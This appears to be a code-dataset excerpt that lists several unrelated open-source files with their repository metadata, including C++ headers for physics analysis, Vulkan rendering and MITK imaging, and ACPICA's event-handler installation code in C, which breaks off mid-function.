reject_badpoints_; bool reject_plateaupoints_; bool reject_single_entries_; double plateau_max_slope_; bool reject_first_point_; double reject_badpoints_frac_; bool bookBIGCalibPayload_; bool savePixelHists_; double chi2Threshold_; double chi2ProbThreshold_; double maxGainInHist_; double maxChi2InHist_; bool saveALLHistograms_; bool sum_ped_cols_; bool sum_gain_cols_; bool filldb_; bool writeSummary_; // parameters for database output std::string recordName_; bool appendMode_; /*SiPixelGainCalibration *theGainCalibrationDbInput_; SiPixelGainCalibrationOffline *theGainCalibrationDbInputOffline_; SiPixelGainCalibrationForHLT *theGainCalibrationDbInputHLT_; SiPixelGainCalibrationService theGainCalibrationDbInputService_;*/ // keep track of lowest and highest vals for range float gainlow_; float gainhi_; float pedlow_; float pedhi_; uint16_t min_nentries_; bool useVcalHigh_; double scalarVcalHigh_VcalLow_; //Summary std::ofstream summary_; uint32_t currentDetID_; int* statusNumbers_; };
29.612903
160
0.77805
[ "vector" ]
cf56d159d790ad1255f0aacd9cb00cbe3f6afb15
1,124
h
C
src/render/batch.h
YahorSubach/vulkan_visual_facade
cb6230b6df602ebea74b0ca311220ba0fab68aac
[ "MIT" ]
null
null
null
src/render/batch.h
YahorSubach/vulkan_visual_facade
cb6230b6df602ebea74b0ca311220ba0fab68aac
[ "MIT" ]
null
null
null
src/render/batch.h
YahorSubach/vulkan_visual_facade
cb6230b6df602ebea74b0ca311220ba0fab68aac
[ "MIT" ]
null
null
null
#ifndef RENDER_ENGINE_RENDER_BATCH_H_ #define RENDER_ENGINE_RENDER_BATCH_H_ #include "vulkan/vulkan.h" #include "common.h" #include "render/object_base.h" #include "render/buffer.h" #include "render/graphics_pipeline.h" #include "render/image_view.h" #include "render/descriptor_set.h" namespace render { class Batch { public: Batch(std::vector<BufferAccessor> vertex_buffers, const BufferAccessor& index_buffer, const Image& color_image, uint32_t draw_size, const glm::mat4& model_matrix, bool emit_param); Batch(const Batch&) = delete; Batch(Batch&&) = default; Batch& operator=(const Batch&) = delete; Batch& operator=(Batch&&) = default; const std::vector<BufferAccessor>& GetVertexBuffers() const; const BufferAccessor& GetIndexBuffer() const; uint32_t GetDrawSize() const; const glm::mat4& GetModelMatrix() const; const Image& GetColorImage() const; bool emit; private: std::vector<BufferAccessor> vertex_buffers_; BufferAccessor index_buffer_; uint32_t draw_size_; glm::mat4 model_matrix_; const Image& color_image_; }; } #endif // RENDER_ENGINE_RENDER_BATCH_H_
21.615385
182
0.754448
[ "render", "vector" ]
cf58e7a45da4d25a272a613fd136ecffb49c26f9
1,929
h
C
xAODAnaHelpers/VertexContainer.h
seangal/xAODAnaHelpers
49f15c8525bf4aed9beceec2c58e58964d57e034
[ "Apache-2.0" ]
40
2015-05-19T17:55:42.000Z
2021-06-22T07:40:41.000Z
xAODAnaHelpers/VertexContainer.h
seangal/xAODAnaHelpers
49f15c8525bf4aed9beceec2c58e58964d57e034
[ "Apache-2.0" ]
1,269
2015-05-19T21:39:26.000Z
2022-03-21T06:18:10.000Z
xAODAnaHelpers/VertexContainer.h
seangal/xAODAnaHelpers
49f15c8525bf4aed9beceec2c58e58964d57e034
[ "Apache-2.0" ]
120
2015-05-25T15:14:48.000Z
2022-03-04T20:39:25.000Z
#ifndef xAODAnaHelpers_VertexContainer_H #define xAODAnaHelpers_VertexContainer_H #include <TTree.h> #include <TLorentzVector.h> #include <vector> #include <string> #include <xAODAnaHelpers/HelperClasses.h> #include <xAODAnaHelpers/HelperFunctions.h> #include "xAODTracking/VertexContainer.h" #include "xAODTruth/TruthVertexContainer.h" namespace xAH { class VertexContainer { public: VertexContainer(const std::string& detailStr, const std::string& name = "vertex"); virtual ~VertexContainer(); virtual void setTree (TTree *tree); virtual void setBranches(TTree *tree); virtual void clear(); virtual void FillVertices( const xAOD::VertexContainer* vertices); virtual void FillTruthVertices( const xAOD::TruthVertexContainer* truthVertices); std::string m_name; std::string branchName(const std::string& varName) { std::string name = m_name + "_" + varName; return name; } template <typename T_BR> void connectBranch(TTree *tree, const std::string& branch, std::vector<T_BR> **variable) { std::string name = branchName(branch); if(*variable) { delete (*variable); (*variable)=0; } if(tree->GetBranch(name.c_str())) { (*variable)=new std::vector<T_BR>(); tree->SetBranchStatus (name.c_str() , 1); tree->SetBranchAddress (name.c_str() , variable); } } template<typename T> void setBranch(TTree* tree, std::string varName, std::vector<T>* localVectorPtr){ std::string name = branchName(varName); tree->Branch(name.c_str(), localVectorPtr); } private: // Vector branches std::vector<float>* m_vertex_x; std::vector<float>* m_vertex_y; std::vector<float>* m_vertex_z; std::string m_detailStr; }; } #endif // xAODAnaHelpers_VertexContainer_H
29.227273
119
0.647486
[ "vector" ]
cf5a645ad1faadd8a8262ff92589032473eec0e5
4,796
h
C
Modules/LegacyAdaptors/mitkLegacyAdaptors.h
maleike/MITK
83b0c35625dfaed99147f357dbd798b1dc19815b
[ "BSD-3-Clause" ]
5
2015-05-27T06:57:53.000Z
2020-03-12T21:08:23.000Z
Modules/LegacyAdaptors/mitkLegacyAdaptors.h
Sotatek-TuyenLuu/MITK_src
c17a156480f5bddf84c340eac62415d46fcc01ab
[ "BSD-3-Clause" ]
4
2020-09-17T16:01:55.000Z
2022-01-18T21:12:10.000Z
Modules/LegacyAdaptors/mitkLegacyAdaptors.h
Sotatek-TuyenLuu/MITK_src
c17a156480f5bddf84c340eac62415d46fcc01ab
[ "BSD-3-Clause" ]
2
2016-08-17T12:01:04.000Z
2020-03-12T22:36:36.000Z
/*=================================================================== The Medical Imaging Interaction Toolkit (MITK) Copyright (c) German Cancer Research Center, Division of Medical and Biological Informatics. All rights reserved. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See LICENSE.txt or http://www.mitk.org for details. ===================================================================*/ #ifndef _mitkLegacyAdaptors_h_ #define _mitkLegacyAdaptors_h_ #include "mitkCommon.h" #include <MitkLegacyAdaptorsExports.h> #include <mitkIpPic.h> #include "mitkImage.h" #include "mitkImageWriteAccessor.h" /** \file mitkLegacyAdaptors.h * * The LegacyAdaptors module is intended to provide an interface to deprecated types/objects/methods as part of backward compatibility * Currently the module offers methods for casting an Image or an ImageDataItem respectively to a mitkIpPicDescriptor object since several Algorigthms * in MITK Modules still use the deprecated IpPic format and algorithms. * * \warning The IpPic-related classes are no more accessible through the Core Module. The dependencies needs to be set directly for the affected module. Furthermore, * if you want to cast information between mitk::Image and mitkIpPicDescriptor, also the dependency to the LegacyAdaptors module needs to be set. */ namespace mitk { /** \brief Constructs a legacy mitkIpPicDescriptor from mitk::Image Meant to support legacy code, which was base on mitkIpPicDescriptor types. Please remind that such code should be migrated towards ITK/VTK solutions. */ MITKLEGACYADAPTORS_EXPORT mitkIpPicDescriptor* CastToIpPicDescriptor(mitk::Image::Pointer, mitk::ImageWriteAccessor*, mitkIpPicDescriptor* picDesc); /** \brief Constructs a legacy mitkIpPicDescriptor from mitk::ImageDataItem \warning The returned IpPicDescriptor is only referencing the memory block with the data managed by the given ImageDataItem parameter. Simply calling ipPicFree( desc ) will delete the data and so will the ImageDataItem try when it get deleted. Simplest way to avoid the duplicate deletion attempt is to set the desc->data manually to NULL before calling the ipPicFree() on the descriptor */ MITKLEGACYADAPTORS_EXPORT mitkIpPicDescriptor* CastToIpPicDescriptor(itk::SmartPointer<mitk::ImageDataItem>, mitk::ImageWriteAccessor*, mitkIpPicDescriptor *picDesc ); /** \brief Constructs a deprecated legacy mitkIpPicDescriptor from mitk::Image Meant to support legacy code, which was base on mitkIpPicDescriptor types. Please remind that such code should be migrated towards ITK/VTK solutions. \deprecatedSince{2012_09} Please use image accessors instead! An image accessor (ImageWriteAccessor) can be commited to CastToIpPicDescriptor. */ MITKLEGACYADAPTORS_EXPORT DEPRECATED(mitkIpPicDescriptor* CastToIpPicDescriptor(mitk::Image::Pointer, mitkIpPicDescriptor* picDesc)); /** \brief Constructs a deprecated legacy mitkIpPicDescriptor from mitk::ImageDataItem \warning The returned IpPicDescriptor is only referencing the memory block with the data managed by the given ImageDataItem parameter. Simply calling ipPicFree( desc ) will delete the data and so will the ImageDataItem try when it get deleted. Simplest way to avoid the duplicate deletion attempt is to set the desc->data manually to NULL before calling the ipPicFree() on the descriptor \deprecatedSince{2012_09} Please use image accessors instead! An image accessor (ImageWriteAccessor) can be commited to CastToIpPicDescriptor. */ MITKLEGACYADAPTORS_EXPORT DEPRECATED(mitkIpPicDescriptor* CastToIpPicDescriptor(itk::SmartPointer<mitk::ImageDataItem>, mitkIpPicDescriptor *picDesc)); /** \brief Constructs an ImageDescriptor from legacy mitkIpPicDescriptor Performs the oposite cast direction to \sa CastToIpPicDescriptor */ MITKLEGACYADAPTORS_EXPORT DEPRECATED(mitk::ImageDescriptor::Pointer CastToImageDescriptor(mitkIpPicDescriptor* desc)); /** \brief Constructs a legacy type information from mitk::PixelType The IpPicDescriptor uses own notations for different pixel types. This casting is needed e.g. by the CastToIpPicDescriptor method. */ MITKLEGACYADAPTORS_EXPORT DEPRECATED(mitkIpPicType_t CastToIpPicType( int componentType ) ); /** \brief Returns a mitk::PixelType object corresponding to given mitkIpPicType_t The method needs the mitkIpPicType_t and the bits per element (bpe) information to be able to create the correct corresponding PixelType \sa PixelType */ MITKLEGACYADAPTORS_EXPORT DEPRECATED(PixelType CastToPixelType( mitkIpPicType_t pictype, size_t bpe ) ); } // end namespace mitk #endif
48.938776
169
0.775646
[ "object" ]
cf5cfafe87929e9d71add1cfec5a66c1d5f62550
567
h
C
include/mana/graphics/utilities/fullscreenquad.h
Zalrioth/Mana
390ac73e424618a8c8ca76d4dd1af435a86e2aa6
[ "MIT" ]
2
2020-11-25T17:20:00.000Z
2021-03-17T09:39:16.000Z
include/mana/graphics/utilities/fullscreenquad.h
nickbedner/mana
390ac73e424618a8c8ca76d4dd1af435a86e2aa6
[ "MIT" ]
3
2021-03-18T00:06:01.000Z
2021-11-06T02:44:17.000Z
include/mana/graphics/utilities/fullscreenquad.h
Zalrioth/Mana
390ac73e424618a8c8ca76d4dd1af435a86e2aa6
[ "MIT" ]
1
2021-01-15T08:10:14.000Z
2021-01-15T08:10:14.000Z
#pragma once #ifndef FULLSCREEN_QUAD_H #define FULLSCREEN_QUAD_H #include "mana/core/memoryallocator.h" // #include "mana/graphics/utilities/mesh.h" struct FullscreenQuad { struct Mesh* mesh; VkBuffer vertex_buffer; VkDeviceMemory vertex_buffer_memory; VkBuffer index_buffer; VkDeviceMemory index_buffer_memory; }; void fullscreen_quad_init(struct FullscreenQuad* fullscreen_quad, struct VulkanState* vulkan_renderer); void fullscreen_quad_delete(struct FullscreenQuad* fullscreen_quad, struct VulkanState* vulkan_renderer); #endif // FULLSCREEN_QUAD_H
28.35
105
0.825397
[ "mesh" ]
cf5dbed273b03763f6a380f432bb78491c41038e
27,242
c
C
head/sys/contrib/dev/acpica/components/events/evxface.c
dplbsd/soc2013
c134f5e2a5725af122c94005c5b1af3720706ce3
[ "BSD-2-Clause" ]
null
null
null
head/sys/contrib/dev/acpica/components/events/evxface.c
dplbsd/soc2013
c134f5e2a5725af122c94005c5b1af3720706ce3
[ "BSD-2-Clause" ]
null
null
null
head/sys/contrib/dev/acpica/components/events/evxface.c
dplbsd/soc2013
c134f5e2a5725af122c94005c5b1af3720706ce3
[ "BSD-2-Clause" ]
null
null
null
/****************************************************************************** * * Module Name: evxface - External interfaces for ACPI events * *****************************************************************************/ /* * Copyright (C) 2000 - 2013, Intel Corp. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions, and the following disclaimer, * without modification. * 2. Redistributions in binary form must reproduce at minimum a disclaimer * substantially similar to the "NO WARRANTY" disclaimer below * ("Disclaimer") and any redistribution must be conditioned upon * including a substantially similar Disclaimer requirement for further * binary redistribution. * 3. Neither the names of the above-listed copyright holders nor the names * of any contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * Alternatively, this software may be distributed under the terms of the * GNU General Public License ("GPL") version 2 as published by the Free * Software Foundation. * * NO WARRANTY * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDERS OR CONTRIBUTORS BE LIABLE FOR SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGES. */ #define __EVXFACE_C__ #include <contrib/dev/acpica/include/acpi.h> #include <contrib/dev/acpica/include/accommon.h> #include <contrib/dev/acpica/include/acnamesp.h> #include <contrib/dev/acpica/include/acevents.h> #include <contrib/dev/acpica/include/acinterp.h> #define _COMPONENT ACPI_EVENTS ACPI_MODULE_NAME ("evxface") /******************************************************************************* * * FUNCTION: AcpiInstallNotifyHandler * * PARAMETERS: Device - The device for which notifies will be handled * HandlerType - The type of handler: * ACPI_SYSTEM_NOTIFY: System Handler (00-7F) * ACPI_DEVICE_NOTIFY: Device Handler (80-FF) * ACPI_ALL_NOTIFY: Both System and Device * Handler - Address of the handler * Context - Value passed to the handler on each GPE * * RETURN: Status * * DESCRIPTION: Install a handler for notifications on an ACPI Device, * ThermalZone, or Processor object. * * NOTES: The Root namespace object may have only one handler for each * type of notify (System/Device). Device/Thermal/Processor objects * may have one device notify handler, and multiple system notify * handlers. * ******************************************************************************/ ACPI_STATUS AcpiInstallNotifyHandler ( ACPI_HANDLE Device, UINT32 HandlerType, ACPI_NOTIFY_HANDLER Handler, void *Context) { ACPI_NAMESPACE_NODE *Node = ACPI_CAST_PTR (ACPI_NAMESPACE_NODE, Device); ACPI_OPERAND_OBJECT *ObjDesc; ACPI_OPERAND_OBJECT *HandlerObj; ACPI_STATUS Status; UINT32 i; ACPI_FUNCTION_TRACE (AcpiInstallNotifyHandler); /* Parameter validation */ if ((!Device) || (!Handler) || (!HandlerType) || (HandlerType > ACPI_MAX_NOTIFY_HANDLER_TYPE)) { return_ACPI_STATUS (AE_BAD_PARAMETER); } Status = AcpiUtAcquireMutex (ACPI_MTX_NAMESPACE); if (ACPI_FAILURE (Status)) { return_ACPI_STATUS (Status); } /* * Root Object: * Registering a notify handler on the root object indicates that the * caller wishes to receive notifications for all objects. Note that * only one global handler can be registered per notify type. * Ensure that a handler is not already installed. */ if (Device == ACPI_ROOT_OBJECT) { for (i = 0; i < ACPI_NUM_NOTIFY_TYPES; i++) { if (HandlerType & (i+1)) { if (AcpiGbl_GlobalNotify[i].Handler) { Status = AE_ALREADY_EXISTS; goto UnlockAndExit; } AcpiGbl_GlobalNotify[i].Handler = Handler; AcpiGbl_GlobalNotify[i].Context = Context; } } goto UnlockAndExit; /* Global notify handler installed, all done */ } /* * All Other Objects: * Caller will only receive notifications specific to the target * object. Note that only certain object types are allowed to * receive notifications. */ /* Are Notifies allowed on this object? */ if (!AcpiEvIsNotifyObject (Node)) { Status = AE_TYPE; goto UnlockAndExit; } /* Check for an existing internal object, might not exist */ ObjDesc = AcpiNsGetAttachedObject (Node); if (!ObjDesc) { /* Create a new object */ ObjDesc = AcpiUtCreateInternalObject (Node->Type); if (!ObjDesc) { Status = AE_NO_MEMORY; goto UnlockAndExit; } /* Attach new object to the Node, remove local reference */ Status = AcpiNsAttachObject (Device, ObjDesc, Node->Type); AcpiUtRemoveReference (ObjDesc); if (ACPI_FAILURE (Status)) { goto UnlockAndExit; } } /* Ensure that the handler is not already installed in the lists */ for (i = 0; i < ACPI_NUM_NOTIFY_TYPES; i++) { if (HandlerType & (i+1)) { HandlerObj = ObjDesc->CommonNotify.NotifyList[i]; while (HandlerObj) { if (HandlerObj->Notify.Handler == Handler) { Status = AE_ALREADY_EXISTS; goto UnlockAndExit; } HandlerObj = HandlerObj->Notify.Next[i]; } } } /* Create and populate a new notify handler object */ HandlerObj = AcpiUtCreateInternalObject (ACPI_TYPE_LOCAL_NOTIFY); if (!HandlerObj) { Status = AE_NO_MEMORY; goto UnlockAndExit; } HandlerObj->Notify.Node = Node; HandlerObj->Notify.HandlerType = HandlerType; HandlerObj->Notify.Handler = Handler; HandlerObj->Notify.Context = Context; /* Install the handler at the list head(s) */ for (i = 0; i < ACPI_NUM_NOTIFY_TYPES; i++) { if (HandlerType & (i+1)) { HandlerObj->Notify.Next[i] = ObjDesc->CommonNotify.NotifyList[i]; ObjDesc->CommonNotify.NotifyList[i] = HandlerObj; } } /* Add an extra reference if handler was installed in both lists */ if (HandlerType == ACPI_ALL_NOTIFY) { AcpiUtAddReference (HandlerObj); } UnlockAndExit: (void) AcpiUtReleaseMutex (ACPI_MTX_NAMESPACE); return_ACPI_STATUS (Status); } ACPI_EXPORT_SYMBOL (AcpiInstallNotifyHandler) /******************************************************************************* * * FUNCTION: AcpiRemoveNotifyHandler * * PARAMETERS: Device - The device for which the handler is installed * HandlerType - The type of handler: * ACPI_SYSTEM_NOTIFY: System Handler (00-7F) * ACPI_DEVICE_NOTIFY: Device Handler (80-FF) * ACPI_ALL_NOTIFY: Both System and Device * Handler - Address of the handler * * RETURN: Status * * DESCRIPTION: Remove a handler for notifies on an ACPI device * ******************************************************************************/ ACPI_STATUS AcpiRemoveNotifyHandler ( ACPI_HANDLE Device, UINT32 HandlerType, ACPI_NOTIFY_HANDLER Handler) { ACPI_NAMESPACE_NODE *Node = ACPI_CAST_PTR (ACPI_NAMESPACE_NODE, Device); ACPI_OPERAND_OBJECT *ObjDesc; ACPI_OPERAND_OBJECT *HandlerObj; ACPI_OPERAND_OBJECT *PreviousHandlerObj; ACPI_STATUS Status; UINT32 i; ACPI_FUNCTION_TRACE (AcpiRemoveNotifyHandler); /* Parameter validation */ if ((!Device) || (!Handler) || (!HandlerType) || (HandlerType > ACPI_MAX_NOTIFY_HANDLER_TYPE)) { return_ACPI_STATUS (AE_BAD_PARAMETER); } /* Make sure all deferred notify tasks are completed */ AcpiOsWaitEventsComplete (); Status = AcpiUtAcquireMutex (ACPI_MTX_NAMESPACE); if (ACPI_FAILURE (Status)) { return_ACPI_STATUS (Status); } /* Root Object. Global handlers are removed here */ if (Device == ACPI_ROOT_OBJECT) { for (i = 0; i < ACPI_NUM_NOTIFY_TYPES; i++) { if (HandlerType & (i+1)) { if (!AcpiGbl_GlobalNotify[i].Handler || (AcpiGbl_GlobalNotify[i].Handler != Handler)) { Status = AE_NOT_EXIST; goto UnlockAndExit; } ACPI_DEBUG_PRINT ((ACPI_DB_INFO, "Removing global notify handler\n")); AcpiGbl_GlobalNotify[i].Handler = NULL; AcpiGbl_GlobalNotify[i].Context = NULL; } } goto UnlockAndExit; } /* All other objects: Are Notifies allowed on this object? */ if (!AcpiEvIsNotifyObject (Node)) { Status = AE_TYPE; goto UnlockAndExit; } /* Must have an existing internal object */ ObjDesc = AcpiNsGetAttachedObject (Node); if (!ObjDesc) { Status = AE_NOT_EXIST; goto UnlockAndExit; } /* Internal object exists. Find the handler and remove it */ for (i = 0; i < ACPI_NUM_NOTIFY_TYPES; i++) { if (HandlerType & (i+1)) { HandlerObj = ObjDesc->CommonNotify.NotifyList[i]; PreviousHandlerObj = NULL; /* Attempt to find the handler in the handler list */ while (HandlerObj && (HandlerObj->Notify.Handler != Handler)) { PreviousHandlerObj = HandlerObj; HandlerObj = HandlerObj->Notify.Next[i]; } if (!HandlerObj) { Status = AE_NOT_EXIST; goto UnlockAndExit; } /* Remove the handler object from the list */ if (PreviousHandlerObj) /* Handler is not at the list head */ { PreviousHandlerObj->Notify.Next[i] = HandlerObj->Notify.Next[i]; } else /* Handler is at the list head */ { ObjDesc->CommonNotify.NotifyList[i] = HandlerObj->Notify.Next[i]; } AcpiUtRemoveReference (HandlerObj); } } UnlockAndExit: (void) AcpiUtReleaseMutex (ACPI_MTX_NAMESPACE); return_ACPI_STATUS (Status); } ACPI_EXPORT_SYMBOL (AcpiRemoveNotifyHandler) /******************************************************************************* * * FUNCTION: AcpiInstallExceptionHandler * * PARAMETERS: Handler - Pointer to the handler function for the * event * * RETURN: Status * * DESCRIPTION: Saves the pointer to the handler function * ******************************************************************************/ ACPI_STATUS AcpiInstallExceptionHandler ( ACPI_EXCEPTION_HANDLER Handler) { ACPI_STATUS Status; ACPI_FUNCTION_TRACE (AcpiInstallExceptionHandler); Status = AcpiUtAcquireMutex (ACPI_MTX_EVENTS); if (ACPI_FAILURE (Status)) { return_ACPI_STATUS (Status); } /* Don't allow two handlers. */ if (AcpiGbl_ExceptionHandler) { Status = AE_ALREADY_EXISTS; goto Cleanup; } /* Install the handler */ AcpiGbl_ExceptionHandler = Handler; Cleanup: (void) AcpiUtReleaseMutex (ACPI_MTX_EVENTS); return_ACPI_STATUS (Status); } ACPI_EXPORT_SYMBOL (AcpiInstallExceptionHandler) #if (!ACPI_REDUCED_HARDWARE) /******************************************************************************* * * FUNCTION: AcpiInstallGlobalEventHandler * * PARAMETERS: Handler - Pointer to the global event handler function * Context - Value passed to the handler on each event * * RETURN: Status * * DESCRIPTION: Saves the pointer to the handler function. The global handler * is invoked upon each incoming GPE and Fixed Event. It is * invoked at interrupt level at the time of the event dispatch. * Can be used to update event counters, etc. * ******************************************************************************/ ACPI_STATUS AcpiInstallGlobalEventHandler ( ACPI_GBL_EVENT_HANDLER Handler, void *Context) { ACPI_STATUS Status; ACPI_FUNCTION_TRACE (AcpiInstallGlobalEventHandler); /* Parameter validation */ if (!Handler) { return_ACPI_STATUS (AE_BAD_PARAMETER); } Status = AcpiUtAcquireMutex (ACPI_MTX_EVENTS); if (ACPI_FAILURE (Status)) { return_ACPI_STATUS (Status); } /* Don't allow two handlers. */ if (AcpiGbl_GlobalEventHandler) { Status = AE_ALREADY_EXISTS; goto Cleanup; } AcpiGbl_GlobalEventHandler = Handler; AcpiGbl_GlobalEventHandlerContext = Context; Cleanup: (void) AcpiUtReleaseMutex (ACPI_MTX_EVENTS); return_ACPI_STATUS (Status); } ACPI_EXPORT_SYMBOL (AcpiInstallGlobalEventHandler) /******************************************************************************* * * FUNCTION: AcpiInstallFixedEventHandler * * PARAMETERS: Event - Event type to enable. * Handler - Pointer to the handler function for the * event * Context - Value passed to the handler on each GPE * * RETURN: Status * * DESCRIPTION: Saves the pointer to the handler function and then enables the * event. * ******************************************************************************/ ACPI_STATUS AcpiInstallFixedEventHandler ( UINT32 Event, ACPI_EVENT_HANDLER Handler, void *Context) { ACPI_STATUS Status; ACPI_FUNCTION_TRACE (AcpiInstallFixedEventHandler); /* Parameter validation */ if (Event > ACPI_EVENT_MAX) { return_ACPI_STATUS (AE_BAD_PARAMETER); } Status = AcpiUtAcquireMutex (ACPI_MTX_EVENTS); if (ACPI_FAILURE (Status)) { return_ACPI_STATUS (Status); } /* Do not allow multiple handlers */ if (AcpiGbl_FixedEventHandlers[Event].Handler) { Status = AE_ALREADY_EXISTS; goto Cleanup; } /* Install the handler before enabling the event */ AcpiGbl_FixedEventHandlers[Event].Handler = Handler; AcpiGbl_FixedEventHandlers[Event].Context = Context; Status = AcpiEnableEvent (Event, 0); if (ACPI_FAILURE (Status)) { ACPI_WARNING ((AE_INFO, "Could not enable fixed event - %s (%u)", AcpiUtGetEventName (Event), Event)); /* Remove the handler */ AcpiGbl_FixedEventHandlers[Event].Handler = NULL; AcpiGbl_FixedEventHandlers[Event].Context = NULL; } else { ACPI_DEBUG_PRINT ((ACPI_DB_INFO, "Enabled fixed event %s (%X), Handler=%p\n", AcpiUtGetEventName (Event), Event, Handler)); } Cleanup: (void) AcpiUtReleaseMutex (ACPI_MTX_EVENTS); return_ACPI_STATUS (Status); } ACPI_EXPORT_SYMBOL (AcpiInstallFixedEventHandler) /******************************************************************************* * * FUNCTION: AcpiRemoveFixedEventHandler * * PARAMETERS: Event - Event type to disable. * Handler - Address of the handler * * RETURN: Status * * DESCRIPTION: Disables the event and unregisters the event handler. * ******************************************************************************/ ACPI_STATUS AcpiRemoveFixedEventHandler ( UINT32 Event, ACPI_EVENT_HANDLER Handler) { ACPI_STATUS Status = AE_OK; ACPI_FUNCTION_TRACE (AcpiRemoveFixedEventHandler); /* Parameter validation */ if (Event > ACPI_EVENT_MAX) { return_ACPI_STATUS (AE_BAD_PARAMETER); } Status = AcpiUtAcquireMutex (ACPI_MTX_EVENTS); if (ACPI_FAILURE (Status)) { return_ACPI_STATUS (Status); } /* Disable the event before removing the handler */ Status = AcpiDisableEvent (Event, 0); /* Always Remove the handler */ AcpiGbl_FixedEventHandlers[Event].Handler = NULL; AcpiGbl_FixedEventHandlers[Event].Context = NULL; if (ACPI_FAILURE (Status)) { ACPI_WARNING ((AE_INFO, "Could not disable fixed event - %s (%u)", AcpiUtGetEventName (Event), Event)); } else { ACPI_DEBUG_PRINT ((ACPI_DB_INFO, "Disabled fixed event - %s (%X)\n", AcpiUtGetEventName (Event), Event)); } (void) AcpiUtReleaseMutex (ACPI_MTX_EVENTS); return_ACPI_STATUS (Status); } ACPI_EXPORT_SYMBOL (AcpiRemoveFixedEventHandler) /******************************************************************************* * * FUNCTION: AcpiInstallGpeHandler * * PARAMETERS: GpeDevice - Namespace node for the GPE (NULL for FADT * defined GPEs) * GpeNumber - The GPE number within the GPE block * Type - Whether this GPE should be treated as an * edge- or level-triggered interrupt. * Address - Address of the handler * Context - Value passed to the handler on each GPE * * RETURN: Status * * DESCRIPTION: Install a handler for a General Purpose Event. * ******************************************************************************/ ACPI_STATUS AcpiInstallGpeHandler ( ACPI_HANDLE GpeDevice, UINT32 GpeNumber, UINT32 Type, ACPI_GPE_HANDLER Address, void *Context) { ACPI_GPE_EVENT_INFO *GpeEventInfo; ACPI_GPE_HANDLER_INFO *Handler; ACPI_STATUS Status; ACPI_CPU_FLAGS Flags; ACPI_FUNCTION_TRACE (AcpiInstallGpeHandler); /* Parameter validation */ if ((!Address) || (Type & ~ACPI_GPE_XRUPT_TYPE_MASK)) { return_ACPI_STATUS (AE_BAD_PARAMETER); } Status = AcpiUtAcquireMutex (ACPI_MTX_EVENTS); if (ACPI_FAILURE (Status)) { return_ACPI_STATUS (Status); } /* Allocate and init handler object (before lock) */ Handler = ACPI_ALLOCATE_ZEROED (sizeof (ACPI_GPE_HANDLER_INFO)); if (!Handler) { Status = AE_NO_MEMORY; goto UnlockAndExit; } Flags = AcpiOsAcquireLock (AcpiGbl_GpeLock); /* Ensure that we have a valid GPE number */ GpeEventInfo = AcpiEvGetGpeEventInfo (GpeDevice, GpeNumber); if (!GpeEventInfo) { Status = AE_BAD_PARAMETER; goto FreeAndExit; } /* Make sure that there isn't a handler there already */ if ((GpeEventInfo->Flags & ACPI_GPE_DISPATCH_MASK) == ACPI_GPE_DISPATCH_HANDLER) { Status = AE_ALREADY_EXISTS; goto FreeAndExit; } Handler->Address = Address; Handler->Context = Context; Handler->MethodNode = GpeEventInfo->Dispatch.MethodNode; Handler->OriginalFlags = (UINT8) (GpeEventInfo->Flags & (ACPI_GPE_XRUPT_TYPE_MASK | ACPI_GPE_DISPATCH_MASK)); /* * If the GPE is associated with a method, it may have been enabled * automatically during initialization, in which case it has to be * disabled now to avoid spurious execution of the handler. */ if (((Handler->OriginalFlags & ACPI_GPE_DISPATCH_METHOD) || (Handler->OriginalFlags & ACPI_GPE_DISPATCH_NOTIFY)) && GpeEventInfo->RuntimeCount) { Handler->OriginallyEnabled = TRUE; (void) AcpiEvRemoveGpeReference (GpeEventInfo); /* Sanity check of original type against new type */ if (Type != (UINT32) (GpeEventInfo->Flags & ACPI_GPE_XRUPT_TYPE_MASK)) { ACPI_WARNING ((AE_INFO, "GPE type mismatch (level/edge)")); } } /* Install the handler */ GpeEventInfo->Dispatch.Handler = Handler; /* Setup up dispatch flags to indicate handler (vs. method/notify) */ GpeEventInfo->Flags &= ~(ACPI_GPE_XRUPT_TYPE_MASK | ACPI_GPE_DISPATCH_MASK); GpeEventInfo->Flags |= (UINT8) (Type | ACPI_GPE_DISPATCH_HANDLER); AcpiOsReleaseLock (AcpiGbl_GpeLock, Flags); UnlockAndExit: (void) AcpiUtReleaseMutex (ACPI_MTX_EVENTS); return_ACPI_STATUS (Status); FreeAndExit: AcpiOsReleaseLock (AcpiGbl_GpeLock, Flags); ACPI_FREE (Handler); goto UnlockAndExit; } ACPI_EXPORT_SYMBOL (AcpiInstallGpeHandler) /******************************************************************************* * * FUNCTION: AcpiRemoveGpeHandler * * PARAMETERS: GpeDevice - Namespace node for the GPE (NULL for FADT * defined GPEs) * GpeNumber - The event to remove a handler * Address - Address of the handler * * RETURN: Status * * DESCRIPTION: Remove a handler for a General Purpose AcpiEvent. * ******************************************************************************/ ACPI_STATUS AcpiRemoveGpeHandler ( ACPI_HANDLE GpeDevice, UINT32 GpeNumber, ACPI_GPE_HANDLER Address) { ACPI_GPE_EVENT_INFO *GpeEventInfo; ACPI_GPE_HANDLER_INFO *Handler; ACPI_STATUS Status; ACPI_CPU_FLAGS Flags; ACPI_FUNCTION_TRACE (AcpiRemoveGpeHandler); /* Parameter validation */ if (!Address) { return_ACPI_STATUS (AE_BAD_PARAMETER); } /* Make sure all deferred GPE tasks are completed */ AcpiOsWaitEventsComplete (); Status = AcpiUtAcquireMutex 